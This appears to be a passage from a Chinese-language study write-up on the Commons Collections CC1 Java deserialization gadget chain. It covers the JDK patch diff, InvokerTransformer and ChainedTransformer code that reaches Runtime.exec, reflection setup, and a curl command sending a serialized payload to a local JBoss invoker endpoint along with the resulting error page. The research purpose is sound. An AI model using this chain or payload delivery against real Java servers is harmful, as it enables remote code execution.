// Check to make sure that types have not evolved incompatibly
AnnotationTypeannotationType=null; try { - annotationType = AnnotationType.getInstance(type); + annotationType = AnnotationType.getInstance(t); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out thrownewjava.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); + // consistent with runtime Map type + Map<String, Object> mv = newLinkedHashMap<>();
// If there are annotation members without values, that // situation is handled by the invoke method. - for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { + for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) { Stringname= memberValue.getKey(); + Objectvalue=null; Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists - Objectvalue= memberValue.getValue(); + value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { - memberValue.setValue( - newAnnotationTypeMismatchExceptionProxy( + value = newAnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( - annotationType.members().get(name))); + annotationType.members().get(name)); } } + mv.put(name, value); + } + + UnsafeAccessor.setType(this, t); + UnsafeAccessor.setMemberValues(this, mv); + }
所以对于 CC1 链的调试、研究学习,所需的 Java 版本必须小于 8u71 版本,8u66 版本就是一个临界的选择。但在调试过程中可以发现,JDK 中关于 sun 包都是反编译的 class 文件,这会影响到代码的阅读。
在如上示例代码中,首先使用InvokerTransformer创建了一个 Transformer t,指定了要调用的方法名为"exec",方法参数类型为String.class,方法参数值为{"open -a Calculator.app"}。随后将Runtime.getRuntime()作为参数传递给了 t 的transform()方法,这里将会调用Runtime.getRuntime().exec("open -a Calculator.app")方法 ,这样便能够达到命令的执行。
/** * Transformer implementation that chains the specified transformers together. * * The input object is passed to the first transformer. The transformed result is passed to the second transformer and so on. */ publicclassChainedTransformerimplementsTransformer, Serializable {
/** Serial version UID */ privatestaticfinallongserialVersionUID=3514945074733160196L;
/** The transformers to call in turn */ privatefinal Transformer[] iTransformers;
/** * @param transformers the transformers to chain, not copied, no nulls */ publicChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }
/** * Transforms the input to result via each decorated transformer * * @param object the input object passed to the first transformer * @return the transformed result */ public Object transform(Object object) { for (inti=0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
AnnotationTypeannotationType=null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out thrownewjava.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }
// If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { Stringname= memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Objectvalue= memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue(newAnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))); } } } }
反射调用
由于AnnotationInvocationHandler是一个内部 API 专用类,在外部无法通过类名创建出AnnotationInvocationHandler类实例,所以需要通过反射创建AnnotationInvocationHandler对象,并且AnnotationInvocationHandler构造方法接收的第一个参数,需要是一个有属性的注解,如Target.class,而且在传入TransformedMap.decorate方法中的第一个 Map 参数不可为空且键需要为前者(Target.class)的方法名,否则在AnnotationInvocationHandler.readObject方法中无法通过(memberType != null)这个 if 判断。
curl -H "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@cc1.ser" http://localhost:8080/invoker/readonly <html><head><title>JBoss Web/3.0.0-CR2 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>java.lang.ClassCastException: sun.reflect.annotation.AnnotationInvocationHandler cannot be cast to org.jboss.invocation.MarshalledInvocation org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106) </pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the JBoss Web/3.0.0-CR2 logs.</u></p><HR size="1" noshade="noshade"><h3>JBoss Web/3.0.0-CR2</h3></body></html>